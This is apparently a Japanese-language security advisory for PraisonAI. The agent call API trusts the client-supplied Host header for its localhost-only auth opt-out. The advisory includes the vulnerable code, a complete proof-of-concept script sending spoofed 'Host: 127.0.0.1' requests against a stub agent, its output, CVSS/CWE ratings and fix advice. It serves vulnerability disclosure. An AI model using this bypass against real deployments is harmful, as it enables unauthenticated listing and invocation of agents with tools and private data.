PraisonAI: Call APIにおける、ローカルホスト限定認証の回避方法(偽装されたHostヘッダーを使用)

# Call APIにおける、ローカルホスト限定認証の回避方法(偽装されたHostヘッダーを使用)

## 概要

PraisonAIの`PRAISONAI_CALL_AUTH=disabled`という設定による保護機能は、n8n/call agentのAPI呼び出しにおいて、偽装された`Host: 127.0.0.1`ヘッダーを使用することで回避可能です。これにより、認証されていないネットワークからのアクセスが可能になり、サービスが利用可能で、かつオプトアウトが有効になっている場合に、登録されたエージェントの一覧表示や呼び出しが可能になります。

## 技術的な詳細

影響を受けるコードは`src/praisonai/praisonai/api/agent_invoke.py`です。`verify_token()`関数は、FastAPIの依存関係として、`/api/v1/agents`のルート(`POST /api/v1/agents/{agent_id}/invoke`を含む)で使用されています。現在のコードでは、`PRAISONAI_CALL_AUTH=disabled`の場合、無条件で認証をスキップするのではなく、ローカルホストへの接続に限定してこのオプトアウトを許可するように変更されています。

```python
_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})

def _bind_host_from_request(request: Request) -> str:
host = getattr(getattr(request, 'url', None), 'hostname', None)
return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')

async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
if _call_auth_disabled():
bind_host = _bind_host_from_request(request)
if bind_host not in _LOCALHOST_HOSTS:
raise HTTPException(
status_code=503,
detail="PRAISONAI_CALL_AUTH=disabledは、ローカルホストへの接続でのみ許可されています。",
)
return
```

問題点は、「ローカルホストへの接続」が、サーバーが所有する起動設定またはソケットのプロパティであるべきであるという点です。しかし、実装では`request.url.hostname`を読み込んでおり、これは現在のリクエストのHTTP Hostヘッダーから派生したものです。そのため、リモートのクライアントは`Host: 127.0.0.1`を送信することで、無効化された認証保護機能を欺き、ローカルホストに接続されたサービスであると認識させることができます。

保護されたシンクは、エージェントの実行です。`verify_token()` が完了した後、`invoke_agent()` は登録されたエージェントを取得し、`agent.astart(request.message)` または `agent.start(request.message)` を呼び出します。同じルーターは、PraisonAI の serve 機能によってマウントされており、`praisonai.api.agent_invoke` をインポートし、`agent_invoke.router` を含み、YAML エージェントを同じレジストリに登録します。

これは、デフォルト設定での公開に関する記述ではありません。デプロイメントでは、`PRAISONAI_CALL_AUTH=disabled` を有効にし、API がネットワーク経由でアクセス可能である必要があります。問題は、ローカルホストでのみ有効になるように設計された、このオプトアウトを制限する安全対策が、クライアントが制御するリクエストメタデータによって回避される可能性があることです。

## PoV (概念実証)

この PoV は、実際の `agent_invoke.router` を使用した、プロセス内 FastAPI アプリケーションを構築し、無害なスタブエージェントを登録し、トークンなしのリクエストを 3 つ送信します。重要な入力は、最後の要求です。これは外部クライアントとしてモデル化されていますが、`Host: 127.0.0.1` を送信します。

```python
disabled_client = TestClient(app, base_url="http://external.example")

external_host = disabled_client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)
```

期待される安全な動作は、認証が無効なモードで送信されたトークンなしのリクエストは、サービスが実際にローカルホストのみに限定されていない場合に拒否されることです。実際の動作では、`Host: external.example` は `503` エラーで拒否されますが、偽装されたローカルホストの Host は `200` で受け入れられ、スタブエージェントが呼び出されます。

完全な PoV スクリプトは、付録 A にあります。

## PoC (概念実証)

PraisonAI のリポジトリから、付録 A のスクリプトを `pov_call_auth_host_spoof.py` として保存し、以下のコマンドを実行します。

```bash
git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .
```

`v4.6.62` の出力:

```json
{
"disabled_auth_external_host_status": 503,
"disabled_auth_spoofed_localhost_invoke_status": 200,
"disabled_auth_spoofed_localhost_list_status": 200,
"fail_closed_without_token_status": 503,
"repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33",
"spoofed_localhost_invoke_body": {
"metadata": {
"agent_id": "pov-agent",
"message_length": 18,
"response_length": 33
},
"result": "stub-agent-ran:host-header-bypass",
"session_id": "default",
"status": "success"
},
"stub_agent_calls": [
"host-header-bypass"
],
"vulnerable": true
}
```

現在のmainブランチに対して、同じスクリプトを実行します。

```bash
git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .
```

現在のheadの出力結果:

```json
{
"disabled_auth_external_host_status": 503,
"disabled_auth_spoofed_localhost_invoke_status": 200,
"disabled_auth_spoofed_localhost_list_status": 200,
"fail_closed_without_token_status": 503,
"repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753",
"spoofed_localhost_invoke_body": {
"metadata": {
"agent_id": "pov-agent",
"message_length": 18,
"response_length": 33
},
"result": "stub-agent-ran:host-header-bypass",
"session_id": "default",
"status": "success"
},
"stub_agent_calls": [
"host-header-bypass"
],
"vulnerable": true
}
```

ネガティブコントロールは、最初の2つのステータスフィールドです。 デフォルトの認証を使用し、トークンがない場合、APIは`503`で拒否されます。 `PRAISONAI_CALL_AUTH=disabled`の場合、通常の外部ホストも`503`で拒否されます。 スプーフィングされたローカルホストのみがガードを通過し、エージェントの実行に到達します。

## 影響

`PRAISONAI_CALL_AUTH=disabled` の設定で PraisonAI のコール/サービス API にアクセスできる未認証のクライアントは、`Host: 127.0.0.1` を設定することで、意図されたローカルホストのみへの制限を回避できます。この脆弱性は、登録されたエージェントの一覧表示と、`/api/v1/agents/{agent_id}/invoke` を介したエージェントの直接呼び出しの両方を示しています。

影響は、登録されているエージェントによって異なります。実際の運用環境では、エージェントはツール、プライベートなコンテキスト、ワークフロー統合、ブラウザ/ファイル/API へのアクセス、または有料モデルへのアクセスなどの機能を持っている可能性があります。この脆弱性は、他のエージェント登録ルートにも影響を与え、マウントされた `/api/v1/agents` API ファミリーに対するアクセス制御の境界を侵害します。

推奨される CWE: `CWE-287` 不適切な認証、および `CWE-346` オリジン検証エラー。また、`CWE-306` 重要な機能に対する認証の欠如も、回避された保護されたアクションに該当する可能性があります。

推奨される CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` (8.2)。機密性は低と評価されます。これは、PoC がエージェントの一覧表示と呼び出しを証明しているためです。より高い機密性への影響は、展開されているエージェントとそのプライベートなコンテキストによって異なります。

## 推奨される修正

`Request.url`、HTTP Host ヘッダー、またはリクエストヘッダーから派生した値から、バインドの安全性を導き出すことは避けてください。`PRAISONAI_CALL_AUTH=disabled` が引き続きサポートされる場合、サーバーが所有する設定(例えば、Uvicorn に渡される実際のバインドホスト、または実行コマンド)から、起動時に許可するかどうかを決定し、設定されたバインドホストがループバックでない場合に、認証無効モードでの起動を拒否してください。

ネットワークルート全体で HTTP 認証のオプトアウトを完全に削除するか、または、プロセスが `127.0.0.1`、`localhost`、または `::1` にバインドされている場合にのみ利用可能な、明示的なローカル開発モードに置き換えることを検討してください。

回帰テストでは、合成のリクエストオブジェクトだけでなく、実際のASGIリクエストを使用する必要があります。 `PRAISONAI_CALL_AUTH=disabled`、モデル化されたサーバー構成がローカルホストではない、そしてリクエストが `Host: 127.0.0.1` を送信するテストを含めてください。 期待される結果は、エージェントリストが生成される前、またはハンドラが実行される前にリクエストが拒否されることです。

## 影響を受けるパッケージ/バージョン

影響を受けるパッケージ: PyPI上の `praisonai`。

確認されている影響:

- `v4.6.62` (コミットハッシュ: `2a855c470077c7d2e2479a575f7ef7f548d51c33`)
- 現在のmainブランチ (コミットハッシュ: `846568c7a5d8ce9e71e56e4c213f027c04909753`)、バージョンファイルでは依然として `4.6.62` と表示されている。

`v4.6.60` は、より古い無条件の `PRAISONAI_CALL_AUTH=disabled` バイパスの脆弱性を含んでおり、別の公開された注意喚起で扱われています。 この報告は、`v4.6.62` および現在のmainブランチに存在する修正された保護機能に関するものです。 `v4.6.61` にも同様のHost由来の保護機能が含まれている場合、影響を受けるバージョンはそこから始まる可能性がありますが、ローカルでそのタグを確認できませんでした。

修正されたバージョン: 不明。

## 注意喚起の履歴

GitHubを通じて利用可能なリポジトリの注意喚起リストを確認したところ、関連はあるものの異なる注意喚起が見つかりました。

- `GHSA-86qc-r5v2-v6x6`: 以前のバージョンでは、`CALL_SERVER_TOKEN` が設定されていない場合、サーバー側の認証なしでエージェントのリスト表示、呼び出し、削除が行われていました。現在のコードでは、トークンが設定されていない場合、正常に動作しません。この報告書では、修正された `PRAISONAI_CALL_AUTH=disabled` のローカルホストガードと、偽装された Host ヘッダーが必要です。
- `GHSA-8ccj-p46r-jwqq`: 以前のバージョンでは、`PRAISONAI_CALL_AUTH=disabled` が無条件で認証を無効にしていましたが、`>= 4.6.61` で修正されたと記載されています。この報告書では、`v4.6.62` および現在のメインバージョンでも、新しいガードを迂回できることが示されています。これは、ガードが `request.url.hostname` を信頼しているためです。
- `GHSA-vmf9-xx9w-86wx`: 従来の SSE MCP トランスポートは、攻撃者の Host/Origin を受け入れ、登録されたツールを `praisonaiagents.mcp.ToolsMCPServer.run_sse()`、`/sse`、および `/messages/` を通じて公開します。この脆弱性は、`praisonaiagents >= 0.6.0, < 1.6.58` および `praisonai >= 3.10.0, < 4.6.58` に影響を与え、修正は `praisonaiagents >= 1.6.59` および `praisonai >= 4.6.59` で提供されています。この報告書では、`praisonai.api.agent_invoke.verify_token()` および `/api/v1/agents/{agent_id}/invoke` の異なるパッケージ呼び出しパスを対象としており、`praisonai v4.6.62` および現在のメインバージョンで確認されています。前提条件も異なります。GHSA-vmf9 は、ローカルまたは内部の従来の SSE MCP サーバーに対するブラウザ/DNS リバインディング形式の Host/Origin の問題ですが、この報告書では、呼び出し/n8n エージェント API で `PRAISONAI_CALL_AUTH=disabled` が必要であり、`Host: 127.0.0.1` を使用して、ローカルホストのみのオプトアウトガードを回避します。ブラウザの Origin、DNS リバインディングの設定、SSE トランスポート、または MCP ツールサーバーは関係ありません。
- `GHSA-x8cv-xmq7-p8xp`: `AgentTeam.launch()` は認証されていない API です。この脆弱性は、`praisonaiagents` の `AgentTeam.launch()` ルートに影響を与えますが、`praisonai.api.agent_invoke.verify_token()` には影響しません。
- `GHSA-5qw8-f2g9-ff29`: レシピサーバーの Typer コマンドは、ローカルホスト以外の認証ガードを回避します。これは、別のサーバーと CLI のパスです。この報告書では、呼び出し API の Host から派生したガードの入力が対象となっています。

パッチが適用された `PRAISONAI_CALL_AUTH=disabled` ローカルホストガードを持つ `praisonai.api.agent_invoke` に対する、Hostヘッダーの偽装に関するアドバイザリーは見つかりませんでした。

## 参照

- `src/praisonai/praisonai/api/agent_invoke.py`
- `src/praisonai/praisonai/cli/features/serve.py`
- `GHSA-86qc-r5v2-v6x6`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6
- `GHSA-8ccj-p46r-jwqq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqq
- `GHSA-vmf9-xx9w-86wx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wx
- `GHSA-x8cv-xmq7-p8xp`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp
- `GHSA-5qw8-f2g9-ff29`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29

## 付録A - 完全なPoCスクリプト

```python
#!/usr/bin/env python3
"""PraisonAIのAPI呼び出しにおけるHostヘッダーのローカルホストガードの回避に関するPoC."""

from __future__ import annotations

import importlib
import json
import os
import sys
from pathlib import Path
from typing import Any

def _repo_root() -> Path:
if len(sys.argv) == 2:
return Path(sys.argv[1]).resolve()
return Path.cwd().resolve()

def _load_agent_invoke(repo_root: Path, auth_disabled: bool):
os.environ.pop("CALL_SERVER_TOKEN", None)
if auth_disabled:
os.environ["PRAISONAI_CALL_AUTH"] = "disabled"
else:
os.environ.pop("PRAISONAI_CALL_AUTH", None)

package_root = repo_root / "src" / "praisonai"
if not package_root.exists():
raise SystemExit(f"PraisonAIのパッケージルートが見つかりません: {package_root}")
package_root_s = str(package_root)
if package_root_s not in sys.path:
sys.path.insert(0, package_root_s)

import praisonai.api.agent_invoke as agent_invoke

agent_invoke = importlib.reload(agent_invoke)
agent_invoke._agent_registry.clear()
return agent_invoke

class StubAgent:
def __init__(self) -> None:
self.calls: list[str] = []
```

```
def start(self, message: str) -> str:
self.calls.append(message)
return f"stub-agent-ran:{message}"

def _make_client(agent_invoke: Any):
from fastapi import FastAPI
from fastapi.testclient import TestClient

app = FastAPI()
app.include_router(agent_invoke.router)
return TestClient(app, base_url="http://external.example")

def main() -> int:
repo_root = _repo_root()

fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)
fail_closed_client = _make_client(fail_closed_mod)
fail_closed = fail_closed_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)

disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)
agent = StubAgent()
disabled_mod.register_agent("pov-agent", agent)
disabled_client = _make_client(disabled_mod)

external_host = disabled_client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)

result = {
"repo_head": _git(repo_root, "rev-parse", "HEAD"),
"fail_closed_without_token_status": fail_closed.status_code,
"disabled_auth_external_host_status": external_host.status_code,
"disabled_auth_spoofed_localhost_list_status": spoofed_localhost_list.status_code,
"disabled_auth_spoofed_localhost_invoke_status": spoofed_localhost_invoke.status_code,
"spoofed_localhost_invoke_body": _safe_json(spoofed_localhost_invoke),
"stub_agent_calls": agent.calls,
}
```

```
expected = (
fail_closed.status_code == 503
and external_host.status_code == 503
and spoofed_localhost_list.status_code == 200
and spoofed_localhost_invoke.status_code == 200
and agent.calls == ["host-header-bypass"]
)
result["vulnerable"] = expected
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if expected else 1

def _safe_json(response: Any) -> Any:
try:
return response.json()
except Exception:
return response.text

def _git(repo_root: Path, *args: str) -> str:
import subprocess

return subprocess.check_output(
["git", "-C", str(repo_root), *args],
text=True,
stderr=subprocess.DEVNULL,
).strip()

if __name__ == "__main__":
raise SystemExit(main())
```

影響を受けるパッケージ:
- pip (Python) praisonai: 影響あり <= 4.6.77、4.6.78で修正済み。
```